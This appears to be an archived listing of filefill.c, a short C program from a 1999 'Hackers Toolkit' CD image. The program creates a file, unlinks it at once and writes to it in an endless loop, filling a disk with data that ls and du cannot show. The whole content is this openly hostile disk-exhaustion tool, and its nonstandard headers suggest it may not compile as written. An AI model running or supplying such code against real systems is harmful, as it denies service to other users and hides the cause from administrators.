home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / filefill.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  345b  |  9 lines

  1. /*  Creates massive files with no Inode info, making deletion difficult */
  2. /*  The files do not appear under du or ls b/c they have no dir entries */
  3. #include <io.h>
  4. #include <stdio.h>
  5. #include <process.h>
  6.  
  7. void main(){int ifd;char buf[8192];ifd=open("./attckfil",O_WRITE|O_CREAT,0777);
  8. unlink("./attckfil");while(1)write(ifd,buf,sizeof(buf));}
  9.